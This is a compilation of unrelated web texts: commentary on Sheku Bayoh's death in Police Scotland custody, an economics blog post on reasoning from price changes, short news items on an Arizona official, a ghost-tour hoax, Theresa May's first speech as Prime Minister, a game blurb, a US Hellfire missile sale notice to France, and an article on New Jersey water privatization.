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death, the federation’s lawyer Peter Watson claimed Bayoh had chased “a petite female police officer” and subjected her to an “unprovoked attack by a very large man who punched, kicked and stamped on her. The officer believed she was about to be murdered and I can say that but for the intervention of the other officers that was the likely outcome.” Anwar [the family's lawyer] said there was no evidence for this: the PIRC has said instead that the officer went to a local hospital with Bayoh for a checkup, and was discharged shortly afterwards.
Nicole Short was due to face trial at Kirkcaldy Sheriff Court next month accused of illegally accessing information on the police computer in 2012. She was one of several officers involved in a struggle in the street with Sheku, 31, before his death. His family fear he died of asphyxiation after being held down. The Police Federation say Short suffered “significant” injuries during the struggle with Sheku in Kirkcaldy on May 3 this year. She faces three data protection charges and a pre-trial hearing was due to be held next week. But her lawyer Ross Cameron told the court: “She is not fit for trial due to a complicated medical state following on from an incident in Kirkcaldy. She maintains her plea of not guilty.” Prosecutors did not oppose the defence motion to postpone the trial. It will now start on December 21.
Refusing to Co-operate With Delayed Investigation
After lawyers acting for the nine officers suggested there had been no delay in giving statements, the PIRC released a statement on June 4 – 32 days after Mr Bayoh’s death – stating: “Since the hours following his death the PIRC has made several attempts to secure statements from the arresting officers. “Those officers have now agreed to provide statements to the PIRC and now that the PIRC is in the process of gathering the material, it will be considered along with the information already gathered throughout the course of the investigation to date.”
Mr Anwar also called for answers about why Mr Bayoh was apparently viewed as a "terrorist threat" by some police officers. He said: "The family of Sheku Bayoh want Chief Constable Stephen House to explain why his police officers believed that they were dealing with a terrorist threat and whether that had any role in Sheku Bayoh's subsequent treatment."
"Officer A" - The Violent Alleged Racist
CCTV evidence seen by the family shows Mr Bayoh approaching the police at about 07:20. The BBC understands the pictures show that he did not have a knife. At least two officers, including PC Paton, who until now has only been known as officer A, said that they believed they could be facing a terrorist incident. At least four and up to six officers, including PC Paton, were immediately involved in the encounter. CS spray and police batons were used and within about 30 seconds, Mr Bayoh was brought to the ground, face down. Handcuffs and leg restraints were applied. PC Paton and a colleague known as officer B, who were two of the first on the scene, were understood to have a combined weight of about 43 stones [600 pounds] Eyewitness reports suggested that officers were kneeling and lying on Mr Bayoh in order to restrain him.
One of the major claims justifying the violence involved in the arrest was the claim by the police "union", the Scottish Police Federeation, that a policewoman was " in fear of her life " however they apparently were not so serious as to require hospital treatment at the time They were however sufficiently serious for them to be claimed to be the reason for her not appearing at her own trial You might consider her reported injuries to be highly suspicious and rather convenient in view of her being due to stand trial, I couldn't possibly comment.Procedures in Scotland are significantly different from those in England. In this case, the officers were not separated and interviewed immediately by the PIRC. This obviously leads to suspicions that they were able to get together to agree a story. Also unlike in England, they are not required to give evidence to the investigators if they might face criminal prosecution.One even initially refused to confirm his weight which would become an important piece of evidence in assessing the cause of Sheku's injuries. They did however come up with our old friend, the "terrorist" excuse Police perception of what was happening also appears to have been muddled. During the altercation, one is reported to have believed his colleague was being attacked. It later transpired that he had accidentally hit himself with CS spray which itself raises doubts whether it was discharged in the proper manner.Following the receipt of information from his brother-in-law, the BBC has decided, unusually, to name one of the policemen involved as PC Alan Paton. He was one who had alleged he believed Sheku was a terrorist and was closely involved in the arrest which they give the latest, different, angle on:Five minutes later it was noticed that Mr Bayoh was unconscious and an ambulance was called. Five minutes after that and after the ambulance had not arrrived, they reported he was not breathing and started CPR. He was taken to the hospital where his sister works, still unresponsive and was declared dead at 9:04.
Paton's sister's husband, Barry Swan came forward and gave sworn statements to the BBC which prompted their action. He stated that since Mr Bayoh's death, Paton has admitted being racist;
[Swan] said: "He [Paton] out and out admitted that he was a racist, that he hates them, as he puts it - all the blacks. It's not right he's a police officer."
He also told them that in 2005, Paton had attacked his own parents while on duty. His now 61 year old mother had been left unconscious and his father badly injured.
"A frail old man who'd basically been put through something he should never have been put through, he was literally black down one side. You knew instantly it wasn't one hit, he'd been kicked, he'd been stamped on. He'd had a major kicking."
I will well and truly serve the Queen in the office of constable, with fairness, integrity, diligence and impartiality, upholding fundamental human rights and according equal respect to all people; and that I will, to the best of my power, cause the peace to be kept and preserved and prevent all offences against people and property; and that while I continue to hold the said office I will to the best of my skill and knowledge discharge all the duties thereof faithfully according to law.
I hereby do solemnly and sincerely declare and affirm that I will faithfully discharge the duties of the office of constable.
The Police Investigations and Review Commissioner
In England and Wales under the Independent Police Complaints Commission police involved in deaths in custody are required to give immediate operational statements. A second more detailed statement is expected within 48 hours. PIRC has confirmed that it can require a police officer to provide information for the purposes of an investigation where requested to do by the police or chief constable. But where they have been directed to investigate by the Crown Office, investigators cannot compel officers to give any information.
Scottish Police Federation sources have confirmed that officers are advised not to provide any operational statements relating to serious incidents they are involved with until such time as they are aware whether they are the subject of any criminal investigation.
This was prior to the merger into Police Scotland when Paton was serving with the Fife Constabulary. Police were called but his parents decided against prosecution after being told by senior officers that it would be dealt with internally. That of course is against best practice where any domestic violence should be criminally prosecuted even if the victim does not wish to proceed. Paton may have been on duty but that should have worsened the case, not provided an excuse to apparently do nothing. Swan's evidence regarding Paton's alleged admission of racism would also render him incapable of fulfilling his oath as a Police Officer if he were in England as this explicitly requires that:Instead the Scottish oath is simply:Of course the provisions of the English oath are implicit however there are other aspects of Scottish policing that fall short of the ideal.The PIRC has not had the detailed political review that the Independent Police Complaints Commission has had in England and Wales after concerns about their independence and performance. Perhaps the most notable is the removal of the right to "take the fifth" and not give evidence if criminal prosecution is possible. This had been used by police in England to frustrate investigations and pervert the course of justice. Eventually the view was taken that in taking up the office of constable and as an officer of the Crown, an individual gives up the right to refuse to give evidence. The Herald also explainsOne of the most serious criticisms of the IPCC was the perceived bias in favor of the police because of its investigators were police themselves. The House of Commons' Home Office Select Committee in 2013 recommended that it have no more than 20% of its investigators who are ex-police officers.
However the Herald reported in September:
According to the body’s website, the PIRC is “an independent organisation not connected to the police”. However, statistics obtained by this newspaper show close ties between the PIRC and the police service. Of the 27 investigators responsible for dealing with PIRC cases, 15 used to be police officers. Of the 11 individuals who are in senior positions, eight are ex-police - around 73%. The two key individuals overseeing and investigating the Bayoh case are former senior officers with a link to the service spanning over fifty years. John Mitchell, the director of investigations, is a one-time detective chief superintendent and former head of CID at Strathclyde Police. John McSporran, a key member of the Bayoh case team, retired from Strathclyde Police in 2012 after 30 years service
In England and Wales, the IPPC has the possibility of using other forces' investigators in minor cases so it can concentrate on the major complaints and deaths. With a single force covering everyday policing over the whole country, this is obviously not possible. It also allows the perception that it is colleagues of those complained about investigating. Unfortunately in this case, the actions of the PIRC have reinforced those perceptions.
In September it was revealed that the PIRC had commissioned a report on "excited delirium" in connection with Sheku's case. They consulted US pathologist Dr Steven Karch and forensic and legal medicine specialist Dr Jason Payne-James who are both adherents to the theory that this could kill.
Professor Eric Balaban, senior counsel with the American Civil
Liberties Union’s National Prison Project, said: “There is doubt over whether it is even a real condition. “The amazing thing about excited delirium is how many times it is raised in exactly this type of context – an altercation with police officers. It’s almost exclusively used in police cases and there have been concerns over whether it is used as a means of whitewashing.... British forensic pathologist Nat Cary said in 2012: “Excited delirium is a way of offering an excuse on behalf of the state for a death in custody. It’s a meaningless catch-all term that appears repeatedly in restraint cases when the individual is seen acting aggressively and is on drugs or is mentally ill.”
While an initial post mortem was inconclusive, a second examination shows injuries consistent with positional asphyxiation.
The Chief Constable
The first Chief Constable of Police Scotland has had an unfortunate time and has announced his early resignation after the force failed to respond to a car crash for three days. The driver was found dead and the passenger died in hospital later. His handling of this case also caused criticism.
Sir Stephen House visited the officers involved in the incident before they had made statements to the PIRC. He even made a special "welfare visit" to PC Short while she was "recovering from her injuries" and awaiting trial on the data breach charges. In contrast, he did not contact Sheku's partner and family to apologize for them being given several different stories about his death in the days immediately after. She complained
“He has ignored us but found the time to visit these officers, while they were still being investigated and before they had even given statements to the investigators.” Family solicitor Aamer Anwar said: “You have to ask just exactly what the chief constable was playing at. What did he think he was doing? “He is meeting officers who could, theoretically, end up on very serious criminal charges. “He should not, under any circumstances, have met officers in the middle of such a serious investigation. But he did and we have to ask why.”
Questions have also been asked why the officers were not suspended from duty, without prejudice, while the death was fully investigated. It all gives the impression of a police organization which has failed to get a grip of the need to maintain the confidence of the public in its impartiality.
In contrast, the Lord Advocate's office does seem to have made its best efforts to keep the family advised of the progress of the investigation, to the extent of showing them the video evidence that might later be used in a prosecution. The case appears to be forcing the Scottish Government to revisit the terms of reference of the PIRC and in particular its use of ex-police officers. There would have to be legislation to remove the "right to silence" which has been used by the Police Federation to subvert investigations. The new Chief Constable will also have to examine whether the merger into a unitary force has been effective. A further investigation is obviously required to examine the allegations against Paton; if the allegations of assault of his parents are true, there are serious questions to be asked about the actions of the senior officers at the time and why he was apparently allowed to continue as normal. There will also have to be a thorough examination of overt and institutional racism within Police Scotland, if only to assure that Paton's alleged views are rooted out.
I have contrasted the organization of the PIRC in Scotland with the IPCC in England and Wales. I do so as an example of better practice, not best practice. Over the years, changes have had to be made to ensure public confidence is maintained and the IPCC has made serious procedural errors which have diminished that. As in Scotland, the English Police Federation seem to see their duty to protect its members, however corrupt, from the consequences of their actions, if necessary by outright lies and public campaigns.Even though I am a Dane and work for a Danish bank I tend to not follow the Danish media too much – after all my field of work is international economics. But I can’t completely avoid reading Danish newspapers. My greatest frustration when I read the financial section of Danish newspapers undoubtedly is the tendency to reason from different price changes – for example changes in the price of oil or changes in bond yields – without discussing the courses of the price change.
The best example undoubtedly is changes in (mortgage) bond yields. Denmark has been a “safe haven” in the financial markets so when the euro crisis escalated in 2011 Danish bond yields dropped dramatically and short-term government bond yields even turned negative. That typically triggered the following type of headline in Danish newspapers: “Danish homeowners benefit from the euro crisis” or “The euro crisis is good news for the Danish economy”.
However, I doubt that any Danish homeowner felt especially happy about the euro crisis. Yes, bond yields did drop and that cut the interest rate payments for homeowners with floating rate mortgages. However, bond yields dropped for a reason – a sharp deterioration of the growth outlook in the euro zone due to the ECB’s two unwarranted interest rate hikes in 2011. As Denmark has a pegged exchange rate to the euro Denmark “imported” the ECB’s monetary tightening and with it also the prospects for lower growth. For the homeowner that means a higher probability of becoming unemployed and a prospect of seeing his or her property value go down as the Danish economy contracted. In that environment lower bond yields are of little consolation.
Hence, the Danish financial journalists failed to ask the crucial question why bond yields dropped. Or said in another way they failed to listen to the advice of Scott Sumner who always tells us not to reason from a price change.
This is what Scott has to say on the issue:
My suggestion is that people should never reason from a price change, but always start one step earlier—what caused the price to change. If oil prices fall because Saudi Arabia increases production, then that is bullish news. If oil prices fall because of falling AD in Europe, that might be expansionary for the US. But if oil prices are falling because the euro crisis is increasing the demand for dollars and lowering AD worldwide; confirmed by falls in commodity prices, US equity prices, and TIPS spreads, then that is bearish news.
I totally agree. When we see a price change – for example oil prices or bond yields – we should ask ourselves why prices are changing if we want to know what macroeconomic impact the price change will have. It is really about figuring out whether the price change is caused by demand or supply shocks.
The euro strength is not necessarily bad news – more on the currency war that is not a war
A very good example of this general fallacy of forgetting to ask why prices are changing is the ongoing discussion of the “currency war”. From the perspective of some European policy makers – for example the French president Hollande – the Bank of Japan’s recent significant stepping up of monetary easing is bad news for the euro zone as it has led to a strengthening of the euro against most other major currencies in the world. The reasoning is that a stronger euro is hurting European “competitiveness” and hence will hurt European exports and therefore lower European growth.
This of course is a complete fallacy. Even ignoring the fact that the ECB can counteract any negative impact on European aggregate demand (the Sumner critique also applies for exports) we can see that this is a fallacy. What the “currency war worriers” fail to do is to ask why the euro is strengthening.
The euro is of course strengthening not because the ECB has tightened monetary policy but because the Bank of Japan and the Federal Reserve have stepped up monetary easing.
With the Fed and the BoJ significantly stepping up monetary easing the growth prospects for the largest and the third largest economies in the world have greatly improved. That surely is good news for European exporters. Yes, European exporters might have seen a slight erosion of their competitiveness, but I am pretty sure that they happily will accept that if they are told that Japanese and US aggregate demand – and hence imports – will accelerate strongly.
Instead of just looking at the euro rate European policy makers should consult more than one price (the euro rate) and look at other financial market prices – for example European stock prices. European stock prices have in fact increased significantly since August-September when the markets started to price in more aggressive monetary easing from the Fed and the BoJ. Or look at bond yields in the so-called PIIGS countries – they have dropped significantly. Both stock prices and bond yields in Europe hence are indicating that the outlook for the European economy is improving rather than deteriorating.
The oil price fallacy – growth is not bad news, but war in the Middle East is
A very common fallacy is to cry wolf when oil prices are rising – particularly in the US. The worst version of this fallacy is claiming that Federal Reserve monetary easing will be undermined by rising oil prices.
This of course is complete rubbish. If the Fed is easing monetary policy it will increase aggregate demand/NGDP and likely also NGDP in a lot of other countries in the world that directly or indirectly is shadowing Fed policy. Hence, with global NGDP rising the demand for commodities is rising – the global AD curve is shifting to the right. That is good news for growth – not bad news.
Said another way when the AD curve is shifting to the right – we are moving along the AS curve rather than moving the AS curve. That should never be a concern from a growth perspective. However, if oil prices are rising not because of the Fed or the actions of other central banks – for example because of fears of war in the Middle East then we have to be concerned from a growth perspective. This kind of thing of course is what happened in 2011 where the two major supply shocks – the Japanese tsunami and the revolutions in Northern Africa – pushed up oil prices.
At the time the ECB of course committed a fallacy by reasoning from one price change – the rise in European HICP inflation. The ECB unfortunately concluded that monetary policy was too easy as HICP inflation increased. Had the ECB instead asked why inflation was increasing then we would likely have avoided the rate hikes – and hence the escalation of the euro crisis. The AD curve (which the ECB effectively controls) had not shifted to the right in the euro area. Instead it was the AS curve that had shifted to the left. The ECB’s failure to ask why prices were rising nearly caused the collapse of the euro.
The money supply fallacy – the fallacy committed by traditional monetarists
Traditional monetarists saw the money supply as the best and most reliable indicator of the development in prices (P) and nominal spending (PY). Market Monetarists do not disagree that there is a crucial link between money and prices/nominal spending. However, traditional monetarists tend(ed) to always see the quantity of money as being determined by the supply of money and often disregarded changes in the demand for money. That made perfectly good sense for example in the 1970s where the easy monetary policies were the main driver of the money supply in most industrialized countries, but that was not the case during the Great Moderation, where the money supply became “endogenous” due to a rule-based monetary policies or during the Great Recession where money demand spiked in particularly the US.
Hence, where traditional monetarists often fail – Allan Meltzer is probably the best example today – is that they forget to ask why the quantity of money is changing. Yes, the US money base exploded in 2008 – something that worried Meltzer a great deal – but so did the demand for base money. In fact the supply of base money failed to increase enough to counteract the explosion in demand for US money base, which effectively was a massive tightening of US monetary conditions.
So while Market Monetarists like myself certainly think money is extremely important we are skeptical about using the money supply as a singular indicator of the stance of monetary policy. Therefore, if we analyse money supply data we should constantly ask ourselves why the money supply is changing – is it really the supply of money increasing or is it the demand for money that is increasing? The best way to do that is to look at market data. If market expectations for inflation are going up, stock markets are rallying, the yield curve is steepening and global commodity prices are increasing then it is pretty reasonable to assume global monetary conditions are getting easier – whether or not the money supply is increasing or decreasing.
Finally I should say that my friends Bob Hetzel and David Laidler would object to this characterization of traditional monetarism. They would say that of course one should look at the balance between money demand and money supply to assess whether monetary conditions are easy or tight. And I would agree – traditional monetarists knew that very well, however, I would also argue that even Milton Friedman from time to time forgot it and became overly focused on money supply growth.
And finally I happily will admit committing that fallacy very often and I still remain committed to studying money supply data – after all being a Market Monetarist means that you still are 95% old-school traditional monetarist at least in my book.
PS maybe the root of all bad econometrics is the also forgetting to ask WHY prices change.
AdvertisementsArizona Secretary of State Ken Bennett is on the payroll of a conservative activist's cancer hospital company, KTVK in Phoenix reports.
Bennett, a Republican, reportedly earns $2,000 a month for his work on the Cancer Treatment Centers of America board. The for-profit company was started in 1988 by Richard Stephenson, who also sits on the board of the prominent Tea Party group FreedomWorks. KTVK reports that Bennett has received tens of thousands of dollars from Stephenson's company.
Bennett denies any conflict of interest from his work on the board.
"I don't think there's anything inappropriate, in fact it's an honor for me to serve on a board that’s helping treat people for cancer," he said. "I'm on other boards, my whole life isn't about being secretary of state."
However, progressive groups in the state are raising eyebrows at the Republican's ties to the Tea Party activist.
"We known that FreedomWorks and Mr. Stephenson are engaged in electoral politics, there appears to be a real conflict of interest," Arizona Advocacy Network director Sam Wercinski said.
Stephenson, a reclusive millionaire from Illinois, was at the center of an internal battle over FreedomWorks' leadership last fall. According to the Washington Post, Stephenson agreed to pay chairman Dick Armey $400,000 annually over 20 years if Armey would agree to leave the group.
The Post also reported that Stephenson helped funnel over $12 million in donations to the group through two Tennessee corporations, a move that drew the ire of campaign finance watchdog organizations.
Despite his active involvement in FreedomWorks, the Arizona Secretary of State said he doesn't consider Stephenson to be "political activist."
Bennett, who took office in 2009, is exploring a run for Arizona governor next year. KTVK reports that Stephenson and other board members at the Cancer Treatment Centers of America have made significant donations to Bennett's exploratory committee.Chris Date, a paranormal medium, is alleged to have rapidly driven away from the scene after suspicious staff who hung around after his tour spotted a man climbing down from the roof.
The 38-year-old, who calls himself Knight Guider, tells guests who pay £12-a-head for the ghost hunt that he can contact the spirit world.
During a recent tour of the “haunted” Halfway Hotel in Llanelli, South Wales, 14 people paid to join him in trying to contact the spirit world.
The ghost hunters were led into the hotel stables where Mr Date asked a spirit to knock twice in answer to a question.
The guests were hushed as two ghostly knocks were heard coming from the ceiling above.
Hotel owner Paul Francis, 33, said: "A member of staff and a member of the public wanted to see if someone came down from the attic where the knocking was coming from.
"Twenty minutes went by and then this guy jumped down.
"Our staff grabbed the guy and threw him out."
Guest Mike Grimble, 43, said the man claimed he was homeless and had nothing to do with the spooky sounds but was wearing "designer jeans".
Mr Date denied having any link to the mystery man in the attic and said: "I'm disgusted by it."
“It was nothing to do with me, that is one of the reasons that I left,” he said.
"The knocking did not sound like what I am used to. I said on several occasions that it was odd, the noise was too extreme.
"I have got a very good track record. It's disgusting, I would never do that.
"I take what I am doing very seriously. It was a ghost hunt. No mediumship was promised – it's a fun ghost tour around the hotel."
However, Mr Grimble remained sceptical, adding: "In life the only certainty, other than being born, is death.
"Billions of people have a religion and they are all looking for the same thing – that there's something else after death.
"People who are looking for answers could be vulnerable."
Mr Date's website describes him as "a great intuitive reader who speaks from the heart."
It tells potential customers: "If you are lost and need to find your way again or if you need reassurance then a reading from Knight Guider is for you.
"A male medium with a strong spiritual guide who comes forward to help enable connections with those who have passed over."The new leader was appointed after the Queen asked her to form a new government.
Theresa May pledged to defend the Union between Scotland and the UK as she made her first speech as Prime Minister.
The new leader said she would lead a "one nation" government as she arrived in Downing Street.
She was appointed Prime Minister after the Queen invited her to form a government.
Speaking outside No 10, May said: "Not everybody knows this but the full title of my party is the Conservative and Unionist Party and that word unionist is very important to me.
"It means we believe in the union, the precious, precious bond between England, Scotland, Wales and Northern Ireland - but it means something else that is just as important.
"It means we believe in a union not just between the nations of the United Kingdom but between all of our citizens - every one of us - whoever we are and wherever we're from."
May vowed to tackle injustice, saying "the government I lead will be driven not by the interests of the privileged few", adding: "Together we will build a better Britain".
She said: "I have just been to Buckingham Palace where Her Majesty the Queen has asked me to form a new Government and I accepted.
"In David Cameron I follow in the footsteps of a great modern Prime Minister.
"Under David's leadership the government stabilised the economy, reduced the budget deficit and helped more people into work than ever before.
"But David's true legacy is not about the economy but about social justice.
"From the introduction of same sex marriage to taking people on low wages out of income tax altogether, David Cameron has led a One Nation government and it is in that spirit that I also plan to lead."
The new Prime Minister added: "That means fighting against the burning injustice that if you're born poor you will die on average nine years earlier than others.
"If you're black you are treated more harshly by the criminal justice system than if you're white. If you're a white working class boy you're less likely than anybody else in Britain to go to university.
"If you're at a state school you're less likely to reach the top professions than if you're educated privately. If you're a woman you will earn less than a man.
"If you suffer from mental health problems, there's not enough help to hand. If you're young you will find it harder than ever before to own your own home.
"But the mission to make Britain a country that works for everyone means more than fighting these injustices. If you're from an ordinary working class family, life is much harder than many people in Westminster realise."
In a direct message to voters, she added: "I know you are working around the clock, I know you are doing your best and I know that sometimes life can be a struggle.
"The government I lead will be driven not by the interests of the privileged few but by yours. We will do everything we can to give you more control over your lives."
On the exit from the EU, May said: "We are living through an important moment in our country's history.
"Following the referendum, we face a time of great national change. And I know because we're Great Britain we will rise to the challenge.
"As we leave the European Union we will forge a bold new positive role for ourselves in the world and we will make Britain a country that works not for a privileged few but for every one of us.
"That will be the mission of the government I lead and together we will build a better Britain."
May "kissed hands" with the Queen as part of the ceremonial meeting to make her the UK's 76th Prime Minister and only the second woman to hold the office after Margaret Thatcher.
When the audience first began May, who was then still home secretary, curtseyed to the Queen, who shook her hand and smiled.
The two women stood chatting for a few moments, while the historic moment was captured by a photographer before their meeting began.
Buckingham Palace confirmed her appointment in a statement: "The Queen received in audience the Right Honourable Theresa May MP this evening and requested her to form a new administration.
"The Right Honourable Theresa May accepted Her Majesty's offer and kissed hands upon her appointment as Prime Minister and First Lord of the Treasury."
May and her husband Philip left the palace just before 6pm following a meeting that lasted just over half an hour.
Shortly before, outgoing Prime Minister David Cameron met the Queen to tender his resignation and recommend May as his successor.
Before arriving at Buckingham Palace, he made a statement outside 10 Downing Street accompanied by his family, wishing May well and calling his six years in office "the greatest honour of my life".
He said he was "delighted that for the second time in British history the new Prime Minister will be a woman, and once again a Conservative".
Earlier, Cameron led his final session of Prime Minister's Questions at Westminster, where he told the House: "I was the future once."
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Download: The STV News app is Scotland's favourite and is available for iPhone from the App store and for Android from Google Play. Download it today and continue to enjoy STV News wherever you are.Explore this super platformer game, and rescue the bugs in the world of Lunata! Lunata Rescue brings back the classic platform game style (like Super Mario World, Sonic, Adventure Island...) adding new elements to traditional concepts. Lunata is a small treehopper bug (looks like a ladybug), running into an adventure to rescue the lost babies, captured by the evil queen Donatella. Unlike many platformer games, the gameplay is not linear, meaning the player doesn´t just move from left to right, but scouts the environment in all directions instead to achieve his goals. The game world has beautiful handdrawn cartoon style, you can explore 4 different gameplay modes (Campaign, Rush, Nightmare and Hardcore) and collect many insignias. Download now this super adventure! And Enjoy the world of Lunata! - Beautiful handcrafted platformer game. - 05 cartoon style unique maps in the world. - Explore the maze-like environment to rescue the treehoppers bugs. - 04 challenging game modes. - Collect insignias for your achievements.WASHINGTON, May 2, 2016 - The State Department has made a determination approving a possible Foreign Military Sale to France for Hellfire Missiles and associated equipment, training, and support. The estimated cost is $30 million. The Defense Security Cooperation Agency delivered the required certification notifying Congress of this possible sale on April 29, 2016.
The Government of France previously requested the potential sale of one hundred twelve (112) AGM-114K1A Hellfire Missiles, one hundred two (102) AGM-114N1A Hellfire Missiles, fifty (50) ATM-114Q1A Hellfire Training Missiles. Non-MDE consists of four (4) Hellfire Missile Mock-Up Sectional Models, four (4) Hellfire II AGM-114N Warhead Mock-Ups, thirty (30) Hellfire M36-E4 Training Missiles, sixty (60) Hellfire M60 Dummy Missiles, M299 Launcher Spare Parts (O and I Level), Hellfire Missile Spare Parts (O and I Level), M36-E4 Training Missile Spare Parts (O and I Level), Integrated Logistics Support Hardware Equipment, Training, U.S. Government Technical Assistance, one hundred (100) Dome Covers, three (3) Hellfire AGM-114K1A Warhead Sections, three (3) Hellfire AGM-114N1 Warhead Sections, thirty (30) LSS Simulators, three (3) AN-205Bs, forty-four (44) IRIS, three (3) Calibration Cables, AN-205B Test Equipment Spare Parts, AGM-114N1 Warheads without Electronic Safe, Arm and Fire Device, thirteen (13) AGM-114K1A Main Warheads with No Control Interface Group, thirteen (13) AGM-114K1A Precursors, Hellfire Tripod Launcher with Launch Control without Laser, Technical Data Documentation, Publications, Repair and Return Services, Classified Technical Data Package, Unanticipated and Unprogrammed Requirements, sixteen (16) Hellfire II AGM-114K1A Missile Sleeves, Hellfire M60 Dummy Missile Spare Parts, sixty (60) M34 Hellfire Training Missile, and Conversion Services for M34 Dummy Missiles. The MDE value of these items was $20 million; the total implemented value of the initial case and amendments was $42 million.
Of the items listed above, France has already received (via a below Congressional threshold-level FMS case, FR-B-WAA) one-hundred and twelve (112) AGM-114K1A Hellfire Missiles, one hundred two (102) AGM-114N1A Hellfire Missiles, fifty (50) ATM-114Q1A Hellfire Training Missiles, Hellfire Missile conversion kits, blast fragmentation sleeves and installation kits, containers, and transportation.
France has requested that this existing FMS case, FR-B-WAA, be amended with the possible sale of two-hundred (200) AGM-114K1A Hellfire Missiles, Hellfire Missile conversion, blast fragmentation sleeves and installation kits, containers, and transportation. The estimated MDE cost in this amendment is $25 million. The total estimated cost is $30 million.
As the amendment requested by France will raise the value of FR-B-WAA over the Congressional notification threshold, this transmittal notifies what will be the total quantities and value of the Letter of Offer and Acceptance (LOA) with this proposed amendment. The estimated cost of MDE is $45 million. The total estimated cost is $72 million.
This proposed sale will contribute to the foreign policy and national security of the United States by improving the capability of a NATO ally. France is a major political and economic power in Europe and a key democratic partner of the United States in ensuring peace and stability around the world. It is vital to the U.S. national interest to assist France to develop and maintain a strong and ready self-defense capability.
The additional missiles will meet France's operational requirements for a precision guided tactical missile for its Tigre Attack Helicopter. The purchase will directly support French forces actively engaged in operations in Mali and Northern Africa, providing them the capability to successfully engage targets with minimal collateral damage. France will have no difficulty absorbing these missiles into its armed forces.
The proposed sale of this equipment and support will not alter the basic military balance in the region.
There is no principal contractor for this sale as the missiles are coming from U.S. Army stock. There are no known offset agreements in connection with this potential sale.
Implementation of this proposed sale will not require any additional U.S. Government or contractor representatives in France.
There will be no adverse impact on U.S. defense readiness as a result of this proposed sale.
This notice of a potential sale is required by law and does not mean the sale has been concluded.
All questions regarding this proposed Foreign |
instrumental in passing WIPA. In 2010, Christie formed a privatization task force to determine “areas where government services and functions can be provided by the private sector.” Two of the group’s five members have ties to private water companies, with one serving as a former chief lobbyist for New Jersey American Water. And the chair of the task force, Dick Zimmer, was a former Republican congressman whose tenure in the 1990s included an attempt to privatize the Tennessee Valley Authority. Between the time of the bill’s passage in the State Senate and its signing, American Water, the country’s largest publicly traded water and sewer company, contributed $50,000 to the Republican Governors Association, which Christie then chaired. THE NATION IS READER FUNDED. YOUR SUPPORT IS VITAL TO OUR WORK. DONATE NOW!
Supporters of WIPA say that fast-tracking privatization is necessary to revitalize New Jersey’s crumbling water systems. Since 1977, the federal government has slashed its water infrastructure investment by over 80 percent, leaving many towns and cities struggling to pay the cost of upkeep. With few other options, numerous New Jersey municipalities have turned to the private sector for assistance—and revenue; in addition to taking a utility off a city’s hands, the sale provides a quick infusion of cash that can help reduce steep budget deficits.
The Christie administration has also done its best to make privatization inevitable. The governor’s 2014 budget cut more than $80 million from Department of Environmental Protection—money the agency could have spent on much-needed water infrastructure enhancement projects. And a program unveiled in January that would provide $500,000 in principal-forgiveness loans to towns with combined sewer systems hardly covers the financial burden—Paterson alone requires $1 billion in repairs.
But, if privatization can seem like an easy remedy for desperate municipalities, critics warn that past schemes have promised far more than they delivered. Not only have they failed to make infrastructure improvements, many have also passed the cost of the purchase on to the public through rate hikes (which WIPA explicitly allows).
In 1996, the township of North Brunswick entered a 20-year, $200 million contract with US Water (now owned by United Water), only to have water bills double and even triple for many households. Indeed, a 2010 report by Food & Water Watch found that residents in municipalities with private water systems paid, on average, 64 percent more than households served by public systems. (On the global level, a meta-regression analysis of all econometric studies from 1965–2008 that examined the cost of water-system privatization concluded that there is “no systematic support for lower costs with private production,” refuting a popular refrain of privatization advocates.)
“This money isn’t being reinvested back into updating our deteriorated water systems,” says Jim Walsh, mid-Atlantic region director of Food & Water Watch, a nonprofit based in Washington. “It’s siphoned off to executive salaries, Wall Street hedge funds, and other stockholders.” “It’s a great deal for water companies. It’s a terrible deal for citizens.” —New Jersey State Senator Bob Smith
WIPA’s opponents and supporters do agree on one thing: New Jersey’s water systems are in dire need of investment. The state’s water infrastructure is old, with some of it dating to the 1800s. And most of New Jersey’s historic urban areas, such as Paterson and Jersey City, have combined sewer systems that release sewage into streams and rivers when the system is overwhelmed by heavy rainfall; an estimated 23 billion gallons of raw sewage and storm water slosh into the state’s waterways each year. According to Environmental Protection Agency estimates, the restoration of New Jersey’s water, stormwater, and wastewater systems would cost $41 billion over the next two decades.
WIPA’s sponsors say that private corporations are better equipped to handle the infrastructure crisis than public utilities. “The challenges of maintaining and replacing aging water infrastructure can escalate quickly beyond the technical and financial means of government entities and taxpayers,” said state Senator Joe Kyrillos, a Republican from Monmouth, in a statement. Kyrillos, who co-sponsored the bill, added that private entities have the “sufficient resources and know-how to take over these systems and effectively address emergent conditions.”
Yet Christie’s model of privatization has a mixed track record, both inside and outside the state. In 2003, Atlanta terminated its 20-year, $428 million contract with United Water, a subsidiary of the French multinational Suez, after four years of mismanagement and poor service. On numerous occasions, residents had to boil brown, particle-laden water that flowed from their taps as rust and debris were allowed to build up. And in 2001, the company failed to complete more than half of all required repairs, thanks in part to its reduced workforce. (It was later discovered that then-Mayor Bill Campbell, who backed the contract, enjoyed a $12,900 Paris vacation with his mistress courtesy of Suez.)
Meanwhile, in New Jersey, a five-year federal and state investigation into elevated levels of childhood cancer in Toms River linked contaminated drinking water supplied by United Water to numerous cases of leukemia in girls. The small sample size prevented an explicit conclusion, but, just days before the study was released in 2001, United Water Toms River, along with two chemical companies, paid multimillion-dollar settlements to 69 families with sick children. (In the following months, the company reached settlements with dozens of other families). Years later, the state also determined that United Water Toms River had manipulated drinking water tests in order to conceal quality violations.
“When you go the privatization route you lose accountability,” says Carol Gay, president of the New Jersey State Industrial Union Council. “They have to cut cost somewhere to make the profits they want to make. One way to cut cost is through labor.”
A 2009 Food & Water Watch survey revealed that the private takeover of water systems results in steep job cuts, with the workforce shrinking by an average of one-third. Having fewer employees makes it more difficult to keep up with maintenance repairs that ensure quality service.
In spite of the apparent risks of privatization, a flood of policy papers from right-wing and libertarian think tanks like the Reason Foundation and Cato Institute continue to push “market solutions” to the world’s water crisis. The private water industry also seems to have found an ally in certain quarters of the Obama administration. In January, the EPA launched a new Water Finance Center as part of the administration’s Build America Investment Initiative, which seeks “to put private capital to work in revitalizing US infrastructure.” The center is intended to help communities “explore creative and innovative financing practices, including public-private partnerships.” The president’s fiscal year 2016 budget also eliminates loan guarantees for community water facilities and grants for states to conduct water-quality research. “This bill is designed to take away public oversight and input into privatization.” —Jeff Tittel
To date, privately owned water utilities serve only 13 percent of Americans, but the push from DC, along with laws like WIPA, threaten to alter the balance. New Jersey joins several other states, including Pennsylvania and Illinois, where the sale of water utilities does not require a public referendum.
